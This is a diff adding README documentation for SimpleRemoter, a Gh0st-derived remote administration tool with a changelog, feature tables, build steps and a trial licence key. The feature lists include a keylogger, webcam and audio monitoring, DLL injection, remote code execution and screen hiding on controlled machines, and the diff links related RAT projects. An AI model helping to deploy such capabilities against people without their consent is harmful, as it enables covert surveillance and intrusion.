Valid: 2026-02-01 to 2028-02-01
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> **Multi-Layer Licensing**
|
||||
>
|
||||
> SimpleRemoter uses an enterprise-grade multi-layer authorization architecture, supporting independent operation for agents/developers:
|
||||
> - **Offline Verification**: First-layer users can operate completely offline after obtaining authorization
|
||||
> - **Independent Control**: Your downstream users connect only to your server, with data fully under your control
|
||||
> - **Free Customization**: Supports secondary development to create your own branded version
|
||||
>
|
||||
> 📖 **[View Full Licensing Documentation](./docs/MultiLayerLicense.md)**
|
||||
|
||||
---
|
||||
|
||||
## Client Support
|
||||
|
||||
### Windows Client
|
||||
|
||||
**System Requirements**: Windows 7 SP1 and above
|
||||
|
||||
**Feature Completeness**: ✅ All features supported
|
||||
|
||||
### Linux Client (v1.2.5+)
|
||||
|
||||
**System Requirements**:
|
||||
- Display Server: X11/Xorg (Wayland not yet supported)
|
||||
- Required: libX11
|
||||
- Recommended: libXtst (XTest extension), libXss (idle detection)
|
||||
|
||||
**Feature Support**:
|
||||
|
||||
| Feature | Status | Implementation |
|
||||
|---------|--------|----------------|
|
||||
| Remote Desktop | ✅ | X11 screen capture, mouse/keyboard control |
|
||||
| Remote Terminal | ✅ | PTY interactive shell |
|
||||
| File Management | ✅ | Bi-directional transfer, large file support |
|
||||
| Process Management | ✅ | Process list, terminate processes |
|
||||
| Heartbeat/RTT | ✅ | RFC 6298 RTT estimation |
|
||||
| Daemon Process | ✅ | Double fork daemonization |
|
||||
| Clipboard | ⏳ | In development |
|
||||
| Session Management | ⏳ | In development |
|
||||
|
||||
**Build Instructions**:
|
||||
|
||||
```bash
|
||||
cd linux
|
||||
cmake .
|
||||
make
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Changelog
|
||||
|
||||
### v1.3.1 (2026.4.15)
|
||||
|
||||
**Web Remote Desktop & Multi-Master Sharing Enhancement**
|
||||
|
||||
**New Features:**
|
||||
- Web Remote Desktop: WebSocket-based implementation, access remote desktop via mobile/tablet browser ([Configuration Guide](./docs/WebHTTPS.md))
|
||||
- Revoke sharing menu: Support revoking clients shared to other masters
|
||||
- Toolbar audio control: Added system audio toggle icon to remote desktop toolbar
|
||||
|
||||
**Improvements:**
|
||||
- Disable adaptive quality for multi-monitor: Auto-disable when client has multiple monitors
|
||||
- Status bar auto-refresh expiration date: Immediate refresh after license renewal
|
||||
- Reduce invalid offline logs: Less logging when client not in host list
|
||||
- Multi-layer authorization auto-update: Layer-2+ master authorizations sync automatically
|
||||
- Enhanced usage tips: Added more operation hints for better UX
|
||||
- DLL cache reuse: Save DLL to registry for reuse on next startup
|
||||
|
||||
**Bug Fixes:**
|
||||
- Fixed keylogger may not work properly while sharing client to other master
|
||||
|
||||
### v1.3.0 (2026.4.8)
|
||||
|
||||
**Multi-Tier FRP Architecture & UI Branding**
|
||||
|
||||
**New Features:**
|
||||
- Local FRPS server support (64-bit only): Built-in FRP server for simplified deployment
|
||||
- Multi-tier architecture automatic FRP integration: Downstream masters auto-acquire upstream FRP config
|
||||
- V2 authorization downstream connection limit: Control concurrent connections for downstream
|
||||
- License file import/export support (.lic format)
|
||||
- Expired authorization renewal support: No need to regenerate license
|
||||
- Enhanced hardware ID (V2): Fix VPS duplicate SN issue
|
||||
- MaxDepth control: Limit hierarchical master depth level
|
||||
- License management enhancements: Quota support, dynamic dialog, delete functionality
|
||||
- IP geolocation API multi-provider fallback: Improved location success rate
|
||||
- UI branding customization: Support custom program name, logo, copyright, etc.
|
||||
- Runtime feature limits: Configurable trial version restrictions
|
||||
- Input history dropdown: Quick selection of previous inputs
|
||||
- Client generation new options: More customization settings
|
||||
- Dynamic project links: Change help/feedback URLs without recompiling
|
||||
|
||||
**Bug Fixes:**
|
||||
- Fixed Use-after-free crash in RebuildFilteredIndices
|
||||
- Fixed IOCP race condition crash in CLock::Lock (#215)
|
||||
- Fixed crash protection service cleanup and agent elevation issue
|
||||
- Fixed potential crash from unlimited message log growth
|
||||
- Fixed UpperHash string length issue after FeatureFlags introduction
|
||||
- Fixed client SN generation to support HWIDVersion setting
|
||||
|
||||
**Improvements:**
|
||||
- Restructured res/ directory with menu icons
|
||||
- Expired passwords no longer auto-cleared
|
||||
- Maintain stable connection between downstream and Layer-1 master
|
||||
|
||||
### v1.0.2.9 (2026.3.27)
|
||||
|
||||
**Network Security & Stability Enhancement**
|
||||
|
||||
**New Features:**
|
||||
- Network configuration dialog: IP whitelist/blacklist management, takes effect immediately
|
||||
- Configurable rate limiting: DLL request limiting, adjustable IP ban thresholds
|
||||
- IP history dialog: View license IP login history
|
||||
- Status bar displays MTBF/runtime and license expiration date
|
||||
- Agent crash protection: Auto-switch to normal mode after 3 crashes within 5 minutes
|
||||
- Client search function: Ctrl+F to quickly search IP, location, computer name
|
||||
- Auto-ban malicious IPs: Auto-ban for 1 hour if >15 connections within 60 seconds
|
||||
- Proxy Protocol v2 support: Get real client IP behind FRP proxy
|
||||
- Linux clipboard sync and V2 file transfer support
|
||||
- Right-click menu to run client program on host
|
||||
- Multi-layer authorization obfuscation support
|
||||
|
||||
**Bug Fixes:**
|
||||
- Fixed race condition crash in OnUserOfflineMsg
|
||||
- Fixed FrpcParam lost when client requests FRPC DLL
|
||||
- Increased max packet size from 10MB to 50MB
|
||||
- Support mstsc remote session for reading user registry
|
||||
- Fixed clipboard false trigger when remote desktop minimized
|
||||
- Fixed master crash when operating process dialog
|
||||
- Status bar host count updates in real-time
|
||||
- Reset timeval before each select() call on Linux
|
||||
- Passcode format validation to filter garbage data
|
||||
|
||||
**Improvements:**
|
||||
- Enhanced authorization check with IP ban notifications
|
||||
- Support master program running with user privilege
|
||||
- Large DLL auto-fallback to TinyRun
|
||||
|
||||
### v1.2.8 (2026.3.11)
|
||||
|
||||
**Email Notification & Remote Audio**
|
||||
|
||||
- Host online email notification (SMTP config, keyword matching, right-click quick add)
|
||||
- Remote audio playback (WASAPI Loopback) + Opus compression (24:1)
|
||||
- Multiple FRPS servers simultaneous connection support
|
||||
- Custom cursor display and tracking
|
||||
- V2 authorization protocol (ECDSA signature)
|
||||
- Fixed garbled text on non-Chinese Windows systems
|
||||
- Linux client screen compression algorithm optimization
|
||||
|
||||
### v1.2.7 (2026.2.28)
|
||||
|
||||
**V2 File Transfer Protocol**
|
||||
|
||||
- Support C2C (client-to-client) direct transfer
|
||||
- Resumable transfer and large file support (>4GB)
|
||||
- SHA-256 file integrity verification
|
||||
- WebView2 + xterm.js modern terminal
|
||||
- Linux file management support
|
||||
- Host list batch update optimization, reduced UI flickering
|
||||
|
||||
### v1.2.6 (2026.2.16)
|
||||
|
||||
**Remote Desktop Toolbar Rewrite**
|
||||
|
||||
- Status window showing RTT, FPS, resolution
|
||||
- Fullscreen toolbar supports 4 positions and multi-monitor
|
||||
- H.264 bandwidth optimization
|
||||
- License management UI improvements
|
||||
|
||||
### v1.2.5 (2026.2.11)
|
||||
|
||||
**Adaptive Quality Control & Linux Client**
|
||||
|
||||
- RTT-based intelligent quality adjustment
|
||||
- RGB565 algorithm (50% bandwidth savings)
|
||||
- Scroll detection optimization (50-80% bandwidth savings)
|
||||
- Linux client initial release
|
||||
|
||||
For complete update history, see: [history.md](./history.md)
|
||||
|
||||
---
|
||||
|
||||
## Related Projects
|
||||
|
||||
- [HoldingHands](https://github.com/yuanyuanxiang/HoldingHands) - Full English interface remote control
|
||||
- [BGW RAT](https://github.com/yuanyuanxiang/BGW_RAT) - Big Grey Wolf 9.5
|
||||
- [Gh0st](https://github.com/yuanyuanxiang/Gh0st) - Classic Gh0st implementation
|
||||
|
||||
---
|
||||
|
||||
## Contact
|
||||
|
||||
| Channel | Link |
|
||||
|---------|------|
|
||||
| **QQ** | 962914132 |
|
||||
| **Telegram** | [@doge_grandfather](https://t.me/doge_grandfather) |
|
||||
| **Email** | [yuanyuanxiang163@gmail.com](mailto:yuanyuanxiang163@gmail.com) |
|
||||
| **LinkedIn** | [wishyuanqi](https://www.linkedin.com/in/wishyuanqi) |
|
||||
| **Issues** | [Report Issues](https://github.com/yuanyuanxiang/SimpleRemoter/issues) |
|
||||
| **PR** | [Contribute](https://github.com/yuanyuanxiang/SimpleRemoter/pulls) |
|
||||
|
||||
### Sponsorship
|
||||
|
||||
This project originated from technical learning and personal interest. The author will update irregularly based on spare time. If this project has been helpful to you, please consider sponsoring:
|
||||
|
||||
[](https://github.com/yuanyuanxiang/yuanyuanxiang/blob/main/images/QR_Codes.jpg)
|
||||
|
||||
---
|
||||
|
||||
<p align="center">
|
||||
<sub>If you like this project, please give it a ⭐ Star!</sub>
|
||||
</p>
|
||||
640
ReadMe_TW.md
Normal file
640
ReadMe_TW.md
Normal file
@@ -0,0 +1,640 @@
|
||||
# SimpleRemoter
|
||||
|
||||
**[简体中文](./ReadMe.md) | [繁體中文](./ReadMe_TW.md) | [English](./ReadMe_EN.md)**
|
||||
|
||||
<p align="center">
|
||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/stargazers">
|
||||
<img src="https://img.shields.io/github/stars/yuanyuanxiang/SimpleRemoter?style=flat-square&logo=github" alt="GitHub Stars">
|
||||
</a>
|
||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/network/members">
|
||||
<img src="https://img.shields.io/github/forks/yuanyuanxiang/SimpleRemoter?style=flat-square&logo=github" alt="GitHub Forks">
|
||||
</a>
|
||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases">
|
||||
<img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release">
|
||||
</a>
|
||||
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux-blue?style=flat-square" alt="Platform">
|
||||
<img src="https://img.shields.io/badge/language-C%2B%2B17-orange?style=flat-square&logo=cplusplus" alt="Language">
|
||||
<img src="https://img.shields.io/badge/IDE-VS2019%2B-purple?style=flat-square&logo=visualstudio" alt="IDE">
|
||||
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest">
|
||||
<img src="https://img.shields.io/badge/Download-最新版本-2ea44f?style=for-the-badge&logo=github" alt="Download Latest">
|
||||
</a>
|
||||
</p>
|
||||
|
||||
---
|
||||
|
||||
> [!WARNING]
|
||||
> **重要法律聲明**
|
||||
>
|
||||
> 本軟件**僅供教育目的及授權使用場景**,包括:
|
||||
> - 在您的組織內進行遠端 IT 管理
|
||||
> - 經授權的滲透測試和安全研究
|
||||
> - 個人設備管理和技術學習
|
||||
>
|
||||
> **未經授權存取電腦系統屬違法行為。** 使用者須對遵守所有適用法律承擔全部責任。開發者對任何濫用行為概不負責。
|
||||
|
||||
---
|
||||
|
||||
## 目錄
|
||||
|
||||
- [專案簡介](#專案簡介)
|
||||
- [免責聲明](#免責聲明)
|
||||
- [功能特性](#功能特性)
|
||||
- [技術亮點](#技術亮點)
|
||||
- [系統架構](#系統架構)
|
||||
- [快速開始](#快速開始)
|
||||
- [用戶端支援](#用戶端支援)
|
||||
- [更新日誌](#更新日誌)
|
||||
- [相關專案](#相關專案)
|
||||
- [聯絡方式](#聯絡方式)
|
||||
|
||||
---
|
||||
|
||||
## 專案簡介
|
||||
|
||||
**SimpleRemoter** 是一個功能完整的遠端控制解決方案,基於經典的 Gh0st 框架重構,採用現代 C++17 開發。專案始於 2019 年,經過持續迭代已發展為支援 **Windows + Linux** 雙平台的企業級遠端管理工具。
|
||||
|
||||
### 核心能力
|
||||
|
||||
| 類別 | 功能 |
|
||||
|------|------|
|
||||
| **遠端桌面** | 即時螢幕控制、多顯示器支援、H.264 編碼、自適應品質 |
|
||||
| **檔案管理** | 雙向傳輸、斷點續傳、C2C 傳輸、SHA-256 校驗 |
|
||||
| **終端管理** | 互動式 Shell、ConPTY/PTY 支援、現代 Web 終端 |
|
||||
| **系統管理** | 程序/服務/視窗管理、登錄檔瀏覽、工作階段控制 |
|
||||
| **媒體擷取** | 網路攝影機監控、音訊監聽、鍵盤記錄 |
|
||||
| **網路功能** | SOCKS 代理、FRP 穿透、埠映射 |
|
||||
|
||||
### 適用場景
|
||||
|
||||
- **企業 IT 運維**:批次管理內網設備,遠端故障排查
|
||||
- **遠端辦公**:安全存取辦公電腦,檔案同步傳輸
|
||||
- **安全研究**:滲透測試、紅隊演練、安全稽核
|
||||
- **技術學習**:網路程式設計、IOCP 模型、加密傳輸實踐
|
||||
|
||||
**原始來源:** [zibility/Remote](https://github.com/zibility/Remote) | **起始日期:** 2019.1.1
|
||||
|
||||
[](https://star-history.com/#yuanyuanxiang/SimpleRemoter&Date)
|
||||
|
||||
---
|
||||
|
||||
## 免責聲明
|
||||
|
||||
**請在使用本軟件前仔細閱讀以下聲明:**
|
||||
|
||||
1. **合法用途**:本專案僅供合法的技術研究、學習交流和授權的遠端管理使用。嚴禁將本軟件用於未經授權存取他人電腦系統、竊取資料、監控他人隱私等任何違法行為。
|
||||
|
||||
2. **使用者責任**:使用者必須遵守所在國家/地區的法律法規。因使用本軟件而產生的任何法律責任,由使用者自行承擔。
|
||||
|
||||
3. **無擔保聲明**:本軟件按「現狀」提供,不附帶任何明示或暗示的擔保,包括但不限於適銷性、特定用途適用性的擔保。
|
||||
|
||||
4. **免責條款**:開發者不對因使用、誤用或無法使用本軟件而造成的任何直接、間接、偶然、特殊或後果性損害承擔責任。
|
||||
|
||||
5. **版權聲明**:本專案採用 MIT 協議開源,允許自由使用、修改和分發,但必須保留原始版權聲明。
|
||||
|
||||
**繼續使用本軟件即表示您已閱讀、理解並同意上述所有條款。**
|
||||
|
||||
> [!IMPORTANT]
|
||||
> **網路連線與隱私聲明**
|
||||
>
|
||||
> 主控程式(伺服器端)會根據授權狀態與授權伺服器進行網路通訊:
|
||||
>
|
||||
> | 版本類型 | 連線行為 |
|
||||
> |---------|---------|
|
||||
> | 試用版本 | 維持與授權伺服器的持續連線 |
|
||||
> | V1/V2 授權版本 | 啟動時連線驗證,通過後斷開 |
|
||||
> | V2 離線授權版本 | 無需連線授權伺服器 |
|
||||
>
|
||||
> 除獲得離線授權外,主控程式會與授權伺服器進行必要的資料交互(如偵測破解行為、驗證授權有效性)。
|
||||
>
|
||||
> **使用本軟體即表示您接受主控程式與授權伺服器之間的資料傳輸。如您不同意,請勿使用本軟體。**
|
||||
|
||||
---
|
||||
|
||||
## 功能特性
|
||||
|
||||
### 遠端桌面
|
||||
|
||||

|
||||
|
||||
- **多種截圖方式**:GDI(相容性強)、DXGI(高效能)、虛擬桌面(背景執行)
|
||||
- **智慧壓縮演算法**:
|
||||
- DIFF 差分演算法 - SSE2 優化,僅傳輸變化區域
|
||||
- RGB565 演算法 - 節省 50% 頻寬
|
||||
- H.264 編碼 - 視訊級壓縮,適合高幀率場景
|
||||
- 灰階模式 - 極低頻寬消耗
|
||||
- **自適應品質**:根據網路 RTT 自動調整幀率(5-30 FPS)、解析度和壓縮演算法
|
||||
- **多顯示器**:支援多螢幕切換和多螢幕牆顯示
|
||||
- **隱私螢幕**:被控端螢幕可隱藏,支援鎖定畫面狀態下控制
|
||||
- **檔案拖放**:Ctrl+C/V 跨設備複製貼上檔案
|
||||
- **Web 遠端桌面**:透過瀏覽器存取遠端桌面,支援手機/平板([設定指南](./docs/WebHTTPS.md))
|
||||
|
||||
### 檔案管理
|
||||
|
||||

|
||||
|
||||
- **V2 傳輸協定**:全新設計,支援大檔案(>4GB)
|
||||
- **斷點續傳**:網路中斷後自動恢復,狀態持久化
|
||||
- **C2C 傳輸**:用戶端之間直接傳輸,無需經過主控
|
||||
- **完整性校驗**:SHA-256 雜湊驗證,確保檔案完整
|
||||
- **批次操作**:支援檔案搜尋、壓縮、批次傳輸
|
||||
|
||||
### 終端管理
|
||||
|
||||

|
||||
|
||||
- **互動式 Shell**:完整的命令列體驗,支援 Tab 補全
|
||||
- **ConPTY 技術**:Windows 10+ 原生虛擬終端支援
|
||||
- **現代 Web 終端**:基於 WebView2 + xterm.js(v1.2.7+)
|
||||
- **終端尺寸調整**:自適應視窗大小
|
||||
|
||||
### 程序與視窗管理
|
||||
|
||||
| 程序管理 | 視窗管理 |
|
||||
|---------|---------|
|
||||
|  |  |
|
||||
|
||||
- **程序管理**:檢視程序清單、CPU/記憶體佔用、啟動/終止程序
|
||||
- **程式碼注入**:向目標程序注入 DLL(需系統管理員權限)
|
||||
- **視窗控制**:最大化/最小化/隱藏/關閉視窗
|
||||
|
||||
### 媒體功能
|
||||
|
||||
| 視訊管理 | 音訊管理 |
|
||||
|---------|---------|
|
||||
|  |  |
|
||||
|
||||
- **網路攝影機監控**:即時視訊串流,支援解析度調整
|
||||
- **音訊監聽**:遠端聲音擷取,支援雙向語音
|
||||
- **鍵盤記錄**:線上/離線記錄模式
|
||||
|
||||
### 其他功能
|
||||
|
||||
- **服務管理**:檢視和控制 Windows 服務
|
||||
- **登錄檔瀏覽**:唯讀方式瀏覽登錄檔內容
|
||||
- **工作階段控制**:遠端登出/關機/重新啟動
|
||||
- **SOCKS 代理**:透過用戶端建立代理通道
|
||||
- **FRP 穿透**:內建 FRP 支援,輕鬆穿透內網
|
||||
- **程式碼執行**:遠端執行 DLL,支援熱更新
|
||||
|
||||
---
|
||||
|
||||
## 技術亮點
|
||||
|
||||
### 高效能網路架構
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────────┐
|
||||
│ IOCP 通訊模型 │
|
||||
├─────────────────────────────────────────────────────────┤
|
||||
│ • I/O 完成埠:Windows 最高效的非同步 I/O 模型 │
|
||||
│ • 單主控支援 10,000+ 並行連線 │
|
||||
│ • 支援 TCP / UDP / KCP 三種傳輸協定 │
|
||||
│ • 自動分塊處理大資料封包(最大 128KB 傳送緩衝) │
|
||||
└─────────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
### 自適應品質控制
|
||||
|
||||
基於 RTT(Round-Trip Time)的智慧品質調整系統:
|
||||
|
||||
| RTT 延遲 | 品質等級 | 幀率 | 解析度 | 壓縮演算法 | 適用場景 |
|
||||
|---------|---------|------|--------|-----------|---------|
|
||||
| < 30ms | Ultra | 25 FPS | 原始 | DIFF | 區域網路辦公 |
|
||||
| 30-80ms | High | 20 FPS | 原始 | RGB565 | 一般辦公 |
|
||||
| 80-150ms | Good | 20 FPS | ≤1080p | H.264 | 跨網/視訊 |
|
||||
| 150-250ms | Medium | 15 FPS | ≤900p | H.264 | 跨網辦公 |
|
||||
| 250-400ms | Low | 12 FPS | ≤720p | H.264 | 較差網路 |
|
||||
| > 400ms | Minimal | 8 FPS | ≤540p | H.264 | 極差網路 |
|
||||
|
||||
- **零額外開銷**:複用心跳封包計算 RTT
|
||||
- **快速降級**:2 次偵測即觸發,回應網路波動
|
||||
- **謹慎升級**:5 次穩定後才提升品質
|
||||
- **冷卻機制**:防止頻繁切換
|
||||
|
||||
### V2 檔案傳輸協定
|
||||
|
||||
```cpp
|
||||
// 77 位元組協定標頭 + 檔案名稱 + 資料載荷
|
||||
struct FileChunkPacketV2 {
|
||||
uint8_t cmd; // COMMAND_SEND_FILE_V2 = 85
|
||||
uint64_t transferID; // 傳輸工作階段 ID
|
||||
uint64_t srcClientID; // 來源用戶端 ID (0=主控端)
|
||||
uint64_t dstClientID; // 目標用戶端 ID (0=主控端, C2C)
|
||||
uint32_t fileIndex; // 檔案編號 (0-based)
|
||||
uint32_t totalFiles; // 總檔案數
|
||||
uint64_t fileSize; // 檔案大小(支援 >4GB)
|
||||
uint64_t offset; // 目前區塊位移
|
||||
uint64_t dataLength; // 本區塊資料長度
|
||||
uint64_t nameLength; // 檔案名稱長度
|
||||
uint16_t flags; // 標誌位元 (FFV2_LAST_CHUNK 等)
|
||||
uint16_t checksum; // CRC16 校驗(可選)
|
||||
uint8_t reserved[8]; // 預留擴充
|
||||
// char filename[nameLength]; // UTF-8 相對路徑
|
||||
// uint8_t data[dataLength]; // 檔案資料
|
||||
};
|
||||
```
|
||||
|
||||
**特性**:
|
||||
- 大檔案支援(uint64_t 突破 4GB 限制)
|
||||
- 斷點續傳(狀態持久化到 `%TEMP%\FileTransfer\`)
|
||||
- SHA-256 完整性校驗
|
||||
- C2C 直傳(用戶端到用戶端)
|
||||
- V1/V2 協定相容
|
||||
|
||||
### 螢幕傳輸優化
|
||||
|
||||
- **SSE2 指令集**:像素差分計算硬體加速
|
||||
- **多執行緒並行**:執行緒池分塊處理螢幕資料
|
||||
- **捲動偵測**:識別捲動場景,減少 50-80% 頻寬
|
||||
- **H.264 編碼**:基於 x264,GOP 控制,視訊級壓縮
|
||||
|
||||
### 安全機制
|
||||
|
||||
| 層級 | 措施 |
|
||||
|------|------|
|
||||
| **傳輸加密** | AES-256 資料加密,可設定 IV |
|
||||
| **身分驗證** | 簽章驗證 + HMAC 認證 |
|
||||
| **授權控制** | 序號綁定(IP/網域),多級授權 |
|
||||
| **檔案校驗** | SHA-256 完整性驗證 |
|
||||
| **工作階段隔離** | Session 0 獨立處理 |
|
||||
|
||||
### 相依套件
|
||||
|
||||
| 套件 | 版本 | 用途 |
|
||||
|------|------|------|
|
||||
| zlib | 1.3.1 | 通用壓縮 |
|
||||
| zstd | 1.5.7 | 高速壓縮 |
|
||||
| x264 | 0.164 | H.264 編碼 |
|
||||
| libyuv | 190 | YUV 轉換 |
|
||||
| HPSocket | 6.0.3 | 網路 I/O |
|
||||
| jsoncpp | 1.9.6 | JSON 解析 |
|
||||
|
||||
---
|
||||
|
||||
## 系統架構
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────────────────────────────┐
|
||||
│ 多層授權架構 (Multi-Layer Authorization) │
|
||||
├─────────────────────────────────────────────────────────────────────────────┤
|
||||
│ │
|
||||
│ ┌─────────────────────┐ │
|
||||
│ │ 超級管理員 │ │
|
||||
│ │ (授權伺服器) │ │
|
||||
│ │ Super Admin │ │
|
||||
│ └─────────┬───────────┘ │
|
||||
│ │ │
|
||||
│ ┌──────────────┼──────────────┐ │
|
||||
│ │ V2 授權 │ V2 授權 │ V2 授權 │
|
||||
│ │ (ECDSA) │ (ECDSA) │ (ECDSA) │
|
||||
│ ▼ ▼ ▼ │
|
||||
│ ┌───────────┐ ┌───────────┐ ┌───────────┐ │
|
||||
│ │ 第一層 A │ │ 第一層 B │ │ 第一層 C │ ◄── 獨立營運 │
|
||||
│ │ Layer-1 A │ │ Layer-1 B │ │ Layer-1 C │ 完全隔離 │
|
||||
│ └─────┬─────┘ └─────┬─────┘ └─────┬─────┘ │
|
||||
│ │ │ │ │
|
||||
│ ┌────────┴────────┐ │ ┌──────┴──────┐ │
|
||||
│ │ V1 授權 │ │ │ V1 授權 │ │
|
||||
│ ▼ ▼ ▼ ▼ ▼ │
|
||||
│ ┌──────────┐ ┌──────────┐ ... ┌──────────┐ ┌──────────┐ │
|
||||
│ │ 下級 A1 │ │ 下級 A2 │ │ 下級 C1 │ │ 下級 C2 │ │
|
||||
│ │ Master │ │ Master │ │ Master │ │ Master │ │
|
||||
│ └────┬─────┘ └────┬─────┘ └────┬─────┘ └────┬─────┘ │
|
||||
│ │ │ │ │ │
|
||||
│ ▼ ▼ ▼ ▼ │
|
||||
│ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │
|
||||
│ │ 用戶端 │ │ 用戶端 │ │ 用戶端 │ │ 用戶端 │ │
|
||||
│ │ 10,000+ │ │ 10,000+ │ │ 10,000+ │ │ 10,000+ │ │
|
||||
│ └─────────┘ └─────────┘ └─────────┘ └─────────┘ │
|
||||
│ │
|
||||
├─────────────────────────────────────────────────────────────────────────────┤
|
||||
│ 授權類型 驗證方式 特點 │
|
||||
│ ───────────────────────────────────────────────────────────────────────── │
|
||||
│ V2 授權 ECDSA P-256 簽名 支援離線驗證,下級連線數限制 │
|
||||
│ V1 授權 HMAC + 線上驗證 連線上級伺服器驗證 │
|
||||
│ 試用版 線上驗證 功能受限,需保持連線 │
|
||||
└─────────────────────────────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
### 架構優勢
|
||||
|
||||
| 特性 | 說明 |
|
||||
|------|------|
|
||||
| **層級控制** | 超級使用者可管理任意主控程式,支援無限層級 |
|
||||
| **完全隔離** | 不同第一層使用者的授權、資料、用戶端完全隔離 |
|
||||
| **獨立營運** | 第一層使用者可獨立定價、發放授權,打造專屬品牌 |
|
||||
| **水平擴充** | 單 Master 支援 10,000+ 用戶端,多層架構可達百萬級 |
|
||||
| **離線支援** | V2 授權支援完全離線驗證,無需依賴上游服務 |
|
||||
|
||||
### 主控程式(Server)
|
||||
|
||||
主控程式 **YAMA.exe** 提供圖形化管理介面:
|
||||
|
||||

|
||||
|
||||
- 基於 IOCP 的高效能伺服器
|
||||
- 用戶端分組管理
|
||||
- 即時狀態監控(RTT、地理位置、活動視窗)
|
||||
- 一鍵產生用戶端
|
||||
|
||||
### 受控程式(Client)
|
||||
|
||||

|
||||
|
||||
**執行形式**:
|
||||
|
||||
| 類型 | 說明 |
|
||||
|------|------|
|
||||
| `ghost.exe` | 獨立可執行檔,無外部相依 |
|
||||
| `TestRun.exe` + `ServerDll.dll` | 分離載入,支援記憶體載入 DLL |
|
||||
| Windows 服務 | 背景執行,支援鎖定畫面控制 |
|
||||
| Linux 用戶端 | 跨平台支援(v1.2.5+) |
|
||||
|
||||
---
|
||||
|
||||
## 快速開始
|
||||
|
||||
### 5 分鐘快速體驗
|
||||
|
||||
無需編譯,下載即用:
|
||||
|
||||
1. **下載發佈版** - 從 [Releases](https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest) 下載最新版本
|
||||
2. **啟動主控** - 執行 `YAMA.exe`,輸入授權資訊(見下方試用口令)
|
||||
3. **產生用戶端** - 點擊工具列「產生」按鈕,設定伺服器 IP 和連接埠
|
||||
4. **部署用戶端** - 將產生的用戶端複製到目標機器並執行
|
||||
5. **開始控制** - 用戶端上線後,雙擊即可開啟遠端桌面
|
||||
|
||||
> [!TIP]
|
||||
> 首次測試建議在同一台機器上執行主控和用戶端,使用 `127.0.0.1` 作為伺服器位址。
|
||||
|
||||
### 編譯要求
|
||||
|
||||
- **作業系統**:Windows 10/11 或 Windows Server 2016+
|
||||
- **開發環境**:Visual Studio 2019 / 2022 / 2026
|
||||
- **SDK**:Windows 10 SDK (10.0.19041.0+)
|
||||
|
||||
### 編譯步驟
|
||||
|
||||
```bash
|
||||
# 1. 複製程式碼(必須使用 git clone,不要下載 zip)
|
||||
git clone https://github.com/yuanyuanxiang/SimpleRemoter.git
|
||||
|
||||
# 2. 開啟方案
|
||||
# 使用 VS2019+ 開啟 SimpleRemoter.sln
|
||||
|
||||
# 3. 選擇組態
|
||||
# Release | x86 或 Release | x64
|
||||
|
||||
# 4. 編譯
|
||||
# 建置 -> 建置方案
|
||||
```
|
||||
|
||||
**常見問題**:
|
||||
- 相依套件衝突:[#269](https://github.com/yuanyuanxiang/SimpleRemoter/issues/269)
|
||||
- 非中文系統亂碼:[#157](https://github.com/yuanyuanxiang/SimpleRemoter/issues/157)
|
||||
- 編譯器相容性:[#171](https://github.com/yuanyuanxiang/SimpleRemoter/issues/171)
|
||||
|
||||
### 部署方式
|
||||
|
||||
#### 內網部署
|
||||
|
||||
主控與用戶端在同一區域網路,用戶端直連主控 IP:Port。
|
||||
|
||||
#### 外網部署(FRP 穿透)
|
||||
|
||||
```
|
||||
用戶端 ──> VPS (FRP Server) ──> 本機主控 (FRP Client)
|
||||
```
|
||||
|
||||
詳細設定請參考:[反向代理部署說明](./反向代理.md)
|
||||
|
||||
### 授權說明
|
||||
|
||||
自 v1.2.4 起提供試用口令(2 年有效期,20 並行連線,僅限內網):
|
||||
|
||||
```
|
||||
授權方式:按電腦 IP 綁定
|
||||
主控 IP:127.0.0.1
|
||||
序號:12ca-17b4-9af2-2894
|
||||
密碼:20260201-20280201-0020-be94-120d-20f9-919a
|
||||
驗證碼:6015188620429852704
|
||||
有效期:2026-02-01 至 2028-02-01
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> **多層授權方案**
|
||||
>
|
||||
> SimpleRemoter 採用企業級多層授權架構,支援代理商/開發者獨立運營:
|
||||
> - **離線驗證**:第一層使用者獲得授權後可完全離線使用
|
||||
> - **獨立控制**:您的下級使用者只連接到您的伺服器,資料完全由您掌控
|
||||
> - **自由定制**:支援二次開發,打造您的專屬版本
|
||||
>
|
||||
> 📖 **[查看完整授權方案說明](./docs/MultiLayerLicense.md)**
|
||||
|
||||
---
|
||||
|
||||
## 用戶端支援
|
||||
|
||||
### Windows 用戶端
|
||||
|
||||
**系統要求**:Windows 7 SP1 及以上
|
||||
|
||||
**功能完整性**:✅ 全部功能支援
|
||||
|
||||
### Linux 用戶端(v1.2.5+)
|
||||
|
||||
**系統要求**:
|
||||
- 顯示伺服器:X11/Xorg(暫不支援 Wayland)
|
||||
- 必需套件:libX11
|
||||
- 建議套件:libXtst(XTest 擴充)、libXss(閒置偵測)
|
||||
|
||||
**功能支援**:
|
||||
|
||||
| 功能 | 狀態 | 實作 |
|
||||
|------|------|------|
|
||||
| 遠端桌面 | ✅ | X11 螢幕擷取,滑鼠/鍵盤控制 |
|
||||
| 遠端終端 | ✅ | PTY 互動式 Shell |
|
||||
| 檔案管理 | ✅ | 雙向傳輸,大檔案支援 |
|
||||
| 程序管理 | ✅ | 程序清單、終止程序 |
|
||||
| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
|
||||
| 常駐程式 | ✅ | 雙 fork 常駐化 |
|
||||
| 剪貼簿 | ⏳ | 開發中 |
|
||||
| 工作階段管理 | ⏳ | 開發中 |
|
||||
|
||||
**編譯方式**:
|
||||
|
||||
```bash
|
||||
cd linux
|
||||
cmake .
|
||||
make
|
||||
```
|
||||
|
||||
---
|
||||
|
